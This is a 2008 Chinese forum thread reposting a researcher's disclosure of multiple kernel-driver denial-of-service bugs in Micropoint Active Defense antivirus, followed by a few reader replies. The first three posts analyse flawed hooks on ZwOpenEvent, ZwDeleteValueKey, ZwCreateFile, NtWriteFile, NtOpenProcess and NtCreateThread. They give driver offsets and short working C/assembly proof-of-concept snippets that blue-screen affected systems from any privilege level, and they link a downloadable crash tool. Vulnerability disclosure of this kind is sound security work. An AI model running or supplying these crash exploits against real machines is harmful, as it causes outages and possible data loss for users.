liudaxue2008
中级用户
  
积分 402
发帖 402
注册 2007-11-6 来自 苏州
|
#1 [转载] 微点主动防御 (version20080924及以下) 多个拒绝服务漏洞及内核BUG
[转载] 微点主动防御 (version20080924及以下) 多个拒绝服务漏洞及内核BUG
by MJ0011
国庆无聊在家,下了一个0924版的微点,从它的HOOK一个个看起,看了4个就发现两个有问题~~再看看,发现有问题的函数几乎是一半对一半~ 多达十几处。还只是简单看看地结果~太挫了
现在说一说其中两个~微点赶紧改吧:D
(1),驱动对ZwOpenEvent的HOOK存在拒绝服务安全漏洞,任何权限用户可以使安装了微点的系统蓝屏
问题在于微点的Hook驱动mp110013.sys对用户态调用ZwOpenEvent传入参数检查不充分导致的
mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)
偏移0XBAE处实际是其对ZwOpenEvent的HOOK实际处理部分(首先经过一个HOOK引擎mp110003.sys转发)。
ZwOpenEvent的原型是:
NTSTATUS
ZwOpenEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
微点只对ObjectAttributes做了ProbeForRead检查,没有对该结构内部成员的缓存地址做有效检查,就直接使用系统函数RtlUnicodeStringToAnsiString将该结构的ObjectAttributes->ObjectName转换为ANSI字符,因此只要RING3的程序对该域填充错误地址,就可以引发系统访问无效内存蓝屏
由于该函数的Hook函数中使用了结构化异常处理,因此传0之类的地址是无法引发蓝屏的,但只要传入任何一个无效的内核地址(例如0x80000000),就可以使微点蓝屏
下面是引发蓝屏的测试代码:
HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwOpenEvent");
OBJECT_ATTRIBUTES oba ;
oba.ObjectName = (PUNICODE_STRING)0x80000000 ;
__asm{
lea eax ,oba
push eax
push 0
push 0
call p
}
运行了这段代码后,系统即蓝屏重启,适用于任何安装了微点的系统任何用户权限。
我编写了一个测试程序"BSOD_MP.exe",在装有20080924及以下版本的微点的系统,运行程序后点"done",系统即会蓝屏。
测试程序下载:http://mj0011.ys168.com 漏洞演示目录下BSOD_mp.rar
(2).驱动对ZwOpenThread的HOOK处理存在漏洞,可能导致系统其他组件工作不正常
在同样版本的mp110013.sys中,对于ZwOpenThread的处理存在BUG,可能导致任意调用该函数的其他驱动程序或系统组件失败!
在对ZwOpenThread的HOOK中,微点的驱动没有判断系统上个模式,而是直接使用ProbeForRead函数去校验ZwOpenThread的参数: ObjectAttributes,这样做的结果会导致在驱动中使用该函数的驱动,只要使用了这个参数,调用这个函数就会返回失败。STATUS_ACCESS_DEIND
正确的做法应该是先判断当前线程的前个模式,如果是UserMode,再做有效性校验。
这个函数在驱动中用得不多,但也不是没有,属于微软有文档的函数,例如在Sandboxie的驱动中就有用到这个,如果这个函数失败,沙箱内的进程在执行某些操作的时候,就可能出错,甚至导致系统崩溃。
====================================================
综上来看,微点的驱动开发者对如何校验用户态参数还是有一些概念的,可惜的是,不仅理解不深,而且还会出现一些粗心大意的毛病~象SSDT HOOK这样直面用户态程序的驱动代码,还是要慎之慎之~~
另外这也暴露出,微点的测试流程不够专业,驱动测试不够重视,如果发布前使用BSODHook等Driver Test工具跑一跑,就不会出现如(1)中那样弱智的错误了~
|
※ ※ ※ 本文纯属【liudaxue2008】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 [img]http://bbs.micropoint.com.cn/images/logo.gif[/img] |
 |
|
2008-10-3 12:07 |
|
liudaxue2008
中级用户
  
积分 402
发帖 402
注册 2007-11-6 来自 苏州
|
#2
国庆的早晨啊~再多爆料几个有问题的函数~~
参考文一:http://hi.baidu.com/mj0011/blog/ ... 65fbf53a87ceb8.html
除了文一提到的两个函数~微点的内核驱动中实际存在着大量这样的问题
再提两个函数,也省得微点的工程师累死累活的找了~学习雷锋啊好榜样~~
(1). 对ZwDeleteValueKey 的HOOK函数对用户态参数没有做检查,导致任何权限用户在安装了微点的系统上可引发蓝屏
处理函数位于mp110009.sys, 版本:1.2.10045 ,CheckSum = 0xCC78 , TimeStamp = 0x48478FCF
偏移0x12f7处是对ZwDeleteValueKey的HOOK处理函数,该函数的原型是:
NTSTATUS
NtDeleteValueKey(
__in HANDLE KeyHandle,
__in PUNICODE_STRING ValueName
)
微点完全没有检查第二个参数 ValueName的有效性就在其代码偏移0x824处直接取该地址的数据,于是只要传给该参数 错误的地址,系统就会立即蓝屏
如下:微点的处理代码:
F8D39815:
mov eax, [ebp+SourceString]
test eax, eax
jz F8D398C0
and [ebp+ms_exc.disabled], 0
cmp word ptr [eax], 0 <---memory fault , check by kfuzz
jz short F8D39833
直接取到参数后判断了下是不是0就直接从内存取出UNICODE_STRING的Length域了
运行以下代码后,该版本微点同样立即蓝屏,这里就不给测试程序了~有兴趣的自己编译了看看
HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwDeleteValueKey");
__asm{
push 0x80000000
push 0
call p
}
(2).在对IoCreateFile->Call ObOpenObjectByName的inline hook中,完全未作参数检查,导致任何权限用户在安装了微点的系统上可引发蓝屏
微点Hook了IoCreateFile -> IopCreateFile -> call ObOpenObjectByName,使用替换4字节地址指针的方式。
此时可爱的微点小朋友以为传递给ObOpenObjectByName的参数都已经是已经过内核校验过的了,因此自己不做任何检查,直接使用,甚至连结构化异常处理都不使用.
实际上对IoCreateFile的参数检查到ObOpenOpenByName中才刚刚开始~
结果就导致随便传入错误的参数给ZwCreateFile,就可以引发微点的蓝屏
出问题的模块是mp110011.sys,版本:1.2.10237 , checksum = 0x0002291a TimeStamp = 0x488944d9
在偏移0x45ca处即使替换ObOpenObjectByName的Hook函数。可以看到微点检查到其DesiredAccess 参数中包含了DELETE权限,就直接从第一个参数ObjectAttributes中取数据,完全不做任何检查。
利用代码,此代码运行后安装有微点的系统将立即蓝屏:
HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateFile");
HANDLE filehandle ;
IO_STATUS_BLOCK iosb ;
__asm{
PUSH 0
PUSH 0
push 0
push 1
push 0
push 0
push 0
lea eax , iosb
push eax
push 0 //ObjectAttributes set to Zero
push 0x10080 // bypass DELETE access check
lea eax ,filehandle
push eax
call p
}
此类BUG除了已经报出的4个外还有很多个~国庆无聊的话,会逐个爆出~敬请期待
|
※ ※ ※ 本文纯属【liudaxue2008】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 [img]http://bbs.micropoint.com.cn/images/logo.gif[/img] |
 |
|
2008-10-3 12:07 |
|
liudaxue2008
中级用户
  
积分 402
发帖 402
注册 2007-11-6 来自 苏州
|
#3
继续爆三个漏洞,微点一直没反映啊~看来都度假去了 这样可不行啊 病毒木马可是不休假的哦 O(∩_∩)O哈哈~
(1).微点对NtWriteFile-> Call ObReferenceObjectByHandle的HOOK中未对参数做有效性检查,可导致任意权限用户在安装了微点的系统上可引发系统蓝屏
存在漏洞的文件:mp110011.sys,版本:1.2.10237,CheckSum = 0x0002291a , TimeStamp = 0x488944d9
微点hook了NtWriteFile-> Call ObReferenceObjectByHandle并对其中的FileHandle进行检查,检查对应的设备对象->驱动对象是否是Disk,如果是的话,判断写入的偏移,进行阻截或放行
其中hook函数使用读取外层函数(NtWriteFile)保存的栈指针(ebp)来读取外层函数的参数pByteOffset,但未对该参数做有效性检查,就直接使用,导致了攻击的可能
使用以下代码即可在任意用户权限在使安装了微点的系统蓝屏:
HMODULE hlib = LoadLibrary("ntdll.dll" ;
PVOID p = GetProcAddress(hlib , "ZwWriteFile" ;
HANDLE hfile = CreateFile("\\\\.\\PhysicalDrive0" , FILE_WRITE_DATA , 0 , 0 , OPEN_EXISTING , 0 , 0 );
if (hfile != INVALID_HANDLE_VALUE)
{
__asm
{
push 0
push 1 //->pByteOffset,cannot be zero
push 0
push 0
push 0
push 0
push 0
push 0
push hfile
call p
}
}
(2).微点在对NtOpenProcess的头部inline hook中,未进行任何参数检查就直接使用参数,导致任意权限用户可引发安装了微点的系统蓝屏
mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)
在其处理函数中未做任何参数检查,直接使用了参数pClientId 的缓存地址,也没有结构化异常处理,因此直接传递0地址即可使系统蓝屏
测试代码:
HMODULE hlib = LoadLibrary("ntdll.dll" ;
PVOID p = GetProcAddress(hlib , "NtOpenProcess" ;
__asm{
push 0
push 0
push 1 //access must have "PROCESS_TERMINATE"
push 0
call p
}
(3).微点对于NtCreateThread的HOOK处理中存在拒绝服务漏洞,可导致任何权限用户在安装了微点的系统上引发蓝屏
mp110013.sys(版本1.2.10126.0, CheckSum = 0x0000FDB7 , TimeStamp = 0x4859C30E)
在其函数中未对参数pContext做任何检查,就使用该参数,并且没有使用任何结构化异常处理,因此只要传0就可以导致蓝屏
测试代码:
HMODULE hlib = LoadLibrary("ntdll.dll" ;
PVOID p = GetProcAddress(hlib , "NtCreateThread" ;
__asm{
push 1 //need createsuspend
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call p
}
|
※ ※ ※ 本文纯属【liudaxue2008】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 [img]http://bbs.micropoint.com.cn/images/logo.gif[/img] |
 |
|
2008-10-3 12:08 |
|
baduser
新手上路

积分 18
发帖 16
注册 2008-6-26
|
#4
标记关注一下
这样的帖子是越多越好
|
※ ※ ※ 本文纯属【baduser】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2008-10-4 13:19 |
|
Legend
超级版主
        超级版主
积分 77171
发帖 70170
注册 2005-10-29
|
|
2008-10-4 13:43 |
|
cnzhanghj
新手上路

积分 12
发帖 12
注册 2008-7-26
|
#6
呵呵,看不懂。这样的问题多弄出一些来好,好让微点更完善。
|
※ ※ ※ 本文纯属【cnzhanghj】个人意见,与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
2008-10-5 12:19 |
|
|